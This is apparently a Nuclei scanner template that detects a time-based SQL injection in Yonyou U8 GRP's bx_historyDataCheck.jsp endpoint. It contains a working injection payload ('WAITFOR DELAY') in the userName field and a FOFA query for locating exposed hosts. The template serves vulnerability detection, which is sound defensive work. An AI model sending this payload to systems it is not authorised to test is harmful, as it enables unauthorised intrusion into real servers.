id: yonyou-u8-sqli

info:
  name: Yonyou U8 bx_historyDataCheck - SQL Injection
  author: xianke
  severity: high
  description: |
    Yonyou U8 Grp contains a SQL injection vulnerability.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/yonyou-grp-u8-bx_historyDataChecks-sqli.yaml
    - https://github.com/MD-SEC/MDPOCS/blob/main/Yongyou_Grp_U8_bx_historyDataCheck_Sql_Poc.py
  metadata:
    verified: true
    max-request: 2
    fofa-query: icon_hash="-299520369"
  tags: time-based-sqli,yonyou,grp,sqli

flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /login.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - 'GRP-U8'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userName='%3bWAITFOR+DELAY+'0%3a0%3a5'--%26ysnd%3d%26historyFlag%3d

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 490a00463044022070bb9b67db154f7a709cd29979c4e4ee8a26c73c6979edbbf6b23427facc792e02201a19059fe0b5c5880346e9d3f4996f372a47a4d1659a3ccc0a28884c974a957c:922c64590222798bb761d5b6d8e72950